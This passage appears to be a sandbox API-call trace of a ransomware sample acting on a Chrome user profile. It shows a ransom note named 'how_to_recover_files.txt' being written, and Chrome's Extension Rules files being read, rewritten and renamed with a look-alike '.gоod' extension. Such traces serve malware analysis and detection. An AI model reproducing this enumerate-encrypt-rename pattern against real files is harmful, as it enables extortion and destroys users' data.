"c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x820 [0209.877] GetFileType (hFile=0x820) returned 0x1 [0209.877] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea0b0) returned 1 [0209.877] GetFileType (hFile=0x820) returned 0x1 [0209.878] WriteFile (in: hFile=0x820, lpBuffer=0x35db068*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6ea208, lpOverlapped=0x0 | out: lpBuffer=0x35db068*, lpNumberOfBytesWritten=0x1f6ea208*=0x5d0, lpOverlapped=0x0) returned 1 [0209.879] CloseHandle (hObject=0x820) returned 1 [0209.879] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea1d0) returned 1 [0209.879] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules", nBufferLength=0x105, lpBuffer=0x1f6e9c70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules", lpFilePart=0x0) returned 0x4d [0209.879] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\*", lpFindFileData=0x1f6e9ef0 | out: lpFindFileData=0x1f6e9ef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52964a42, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe8bc8e63, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8bc8e63, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0210.819] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52964a42, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe8bc8e63, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8bc8e63, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0210.852] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52c2d955, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x52c2d955, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xfa71fbfe, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="000003.log", cAlternateFileName="")) returned 1 [0210.852] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5296986b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5296986b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x52b62ef4, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENT", cAlternateFileName="")) returned 1 [0210.953] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5296715b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5296715b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5296715b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOCK", cAlternateFileName="")) returned 1 [0210.953] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5296715b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe8bc8e63, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf159677d, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOG", cAlternateFileName="")) returned 1 [0210.953] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5296715b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5296715b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5776f89b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOG.old", cAlternateFileName="")) returned 1 [0210.954] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5296715b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5296715b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5296715b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x29, dwReserved0=0x0, dwReserved1=0x0, cFileName="MANIFEST-000001", cAlternateFileName="MANIFE~1")) returned 1 [0210.954] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0210.954] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0210.954] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea110) returned 1 [0210.954] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea0d0) returned 1 [0210.955] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ea1d0) returned 1 [0210.955] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules", nBufferLength=0x105, lpBuffer=0x1f6e9c70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules", lpFilePart=0x0) returned 0x4d [0210.955] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\*", lpFindFileData=0x1f6e9ef0 | out: lpFindFileData=0x1f6e9ef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52964a42, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe8bc8e63, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8bc8e63, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0210.955] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52964a42, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe8bc8e63, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8bc8e63, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0210.956] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52c2d955, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x52c2d955, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xfa71fbfe, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="000003.log", cAlternateFileName="")) returned 1 [0210.956] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5296986b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5296986b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x52b62ef4, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENT", cAlternateFileName="")) returned 1 [0210.956] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5296715b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5296715b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5296715b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOCK", cAlternateFileName="")) returned 1 [0210.956] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5296715b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe8bc8e63, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf159677d, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOG", cAlternateFileName="")) returned 1 [0210.956] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5296715b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5296715b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5776f89b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOG.old", cAlternateFileName="")) returned 1 [0210.956] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5296715b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5296715b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5296715b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x29, dwReserved0=0x0, dwReserved1=0x0, cFileName="MANIFEST-000001", cAlternateFileName="MANIFE~1")) returned 1 [0210.957] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f6e9eb0 | out: lpFindFileData=0x1f6e9eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5296715b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5296715b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5296715b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x29, dwReserved0=0x0, dwReserved1=0x0, cFileName="MANIFEST-000001", cAlternateFileName="MANIFE~1")) returned 0 [0210.957] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0210.957] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea110) returned 1 [0210.957] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ea0d0) returned 1 [0210.958] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log", lpFilePart=0x0) returned 0x58 [0210.958] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f80) returned 1 [0210.958] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\000003.log"), fInfoLevelId=0x0, lpFileInformation=0x353cc60 | out: lpFileInformation=0x353cc60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52c2d955, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x52c2d955, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xfa71fbfe, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1ee)) returned 1 [0210.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f40) returned 1 [0210.960] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log", nBufferLength=0x105, lpBuffer=0x1f6e9910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log", lpFilePart=0x0) returned 0x58 [0210.960] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e30) returned 1 [0210.960] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\000003.log"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0210.960] GetFileType (hFile=0x820) returned 0x1 [0210.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9da0) returned 1 [0210.960] GetFileType (hFile=0x820) returned 0x1 [0210.960] GetFileSize (in: hFile=0x820, lpFileSizeHigh=0x1f6e9fd8 | out: lpFileSizeHigh=0x1f6e9fd8*=0x0) returned 0x1ee [0210.960] ReadFile (in: hFile=0x820, lpBuffer=0x353d138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e9f08, lpOverlapped=0x0 | out: lpBuffer=0x353d138*, lpNumberOfBytesRead=0x1f6e9f08*=0x1ee, lpOverlapped=0x0) returned 1 [0210.961] CloseHandle (hObject=0x820) returned 1 [0213.200] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e30) returned 1 [0213.200] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\000003.log"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0213.201] GetFileType (hFile=0x630) returned 0x1 [0213.201] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9da0) returned 1 [0213.202] GetFileType (hFile=0x630) returned 0x1 [0213.202] WriteFile (in: hFile=0x630, lpBuffer=0x37128a0*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x1f6e9e18, lpOverlapped=0x0 | out: lpBuffer=0x37128a0*, lpNumberOfBytesWritten=0x1f6e9e18*=0x1f0, lpOverlapped=0x0) returned 1 [0213.202] CloseHandle (hObject=0x630) returned 1 [0213.203] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log", lpFilePart=0x0) returned 0x58 [0213.203] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log.gоod", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log.gоod", lpFilePart=0x0) returned 0x5d [0213.203] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f40) returned 1 [0213.203] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\000003.log"), fInfoLevelId=0x0, lpFileInformation=0x1f6ea020 | out: lpFileInformation=0x1f6ea020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52c2d955, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x52c2d955, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x7b4a1469, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1f0)) returned 1 [0213.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f00) returned 1 [0213.203] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\000003.log"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\000003.log.gоod")) returned 1 [0213.284] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\CURRENT", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\CURRENT", lpFilePart=0x0) returned 0x55 [0213.284] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f80) returned 1 [0213.284] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\CURRENT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\current"), fInfoLevelId=0x0, lpFileInformation=0x37912b8 | out: lpFileInformation=0x37912b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5296986b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5296986b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x52b62ef4, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0213.285] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f40) returned 1 [0213.285] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\CURRENT", nBufferLength=0x105, lpBuffer=0x1f6e9910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\CURRENT", lpFilePart=0x0) returned 0x55 [0213.285] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e30) returned 1 [0213.285] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\CURRENT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\current"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0213.285] GetFileType (hFile=0x820) returned 0x1 [0213.285] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9da0) returned 1 [0213.285] GetFileType (hFile=0x820) returned 0x1 [0213.285] GetFileSize (in: hFile=0x820, lpFileSizeHigh=0x1f6e9fd8 | out: lpFileSizeHigh=0x1f6e9fd8*=0x0) returned 0x10 [0213.286] ReadFile (in: hFile=0x820, lpBuffer=0x3791590, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e9f08, lpOverlapped=0x0 | out: lpBuffer=0x3791590*, lpNumberOfBytesRead=0x1f6e9f08*=0x10, lpOverlapped=0x0) returned 1 [0213.286] CloseHandle (hObject=0x820) returned 1 [0215.443] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\CURRENT", nBufferLength=0x105, lpBuffer=0x1f6e9910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\CURRENT", lpFilePart=0x0) returned 0x55 [0215.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e30) returned 1 [0215.443] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\CURRENT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\current"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0215.444] GetFileType (hFile=0x478) returned 0x1 [0215.445] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9da0) returned 1 [0215.445] GetFileType (hFile=0x478) returned 0x1 [0215.445] WriteFile (in: hFile=0x478, lpBuffer=0x3a05dd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1f6e9e18, lpOverlapped=0x0 | out: lpBuffer=0x3a05dd0*, lpNumberOfBytesWritten=0x1f6e9e18*=0x20, lpOverlapped=0x0) returned 1 [0215.446] CloseHandle (hObject=0x478) returned 1 [0215.446] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\CURRENT", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\CURRENT", lpFilePart=0x0) returned 0x55 [0215.446] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\CURRENT.gоod", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\CURRENT.gоod", lpFilePart=0x0) returned 0x5a [0215.446] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f40) returned 1 [0215.446] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\CURRENT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\current"), fInfoLevelId=0x0, lpFileInformation=0x1f6ea020 | out: lpFileInformation=0x1f6ea020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5296986b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5296986b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x7ca1d9e2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x20)) returned 1 [0215.446] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f00) returned 1 [0215.446] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\CURRENT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\current"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\CURRENT.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\current.gоod")) returned 1 [0215.447] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOCK", nBufferLength=0x105, lpBuffer=0x1f6e9ab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOCK", lpFilePart=0x0) returned 0x52 [0215.447] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9f80) returned 1 [0215.447] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOCK" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\lock"), fInfoLevelId=0x0, lpFileInformation=0x3a07070 | out: lpFileInformation=0x3a07070*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5296715b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5296715b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5296715b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0215.447] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e9f40) returned 1 [0215.447] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOCK", nBufferLength=0x105, lpBuffer=0x1f6e9910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOCK", lpFilePart=0x0) returned 0x52 [0215.447] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e9e30) returned 1 [0215.447] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOCK" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\lock"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 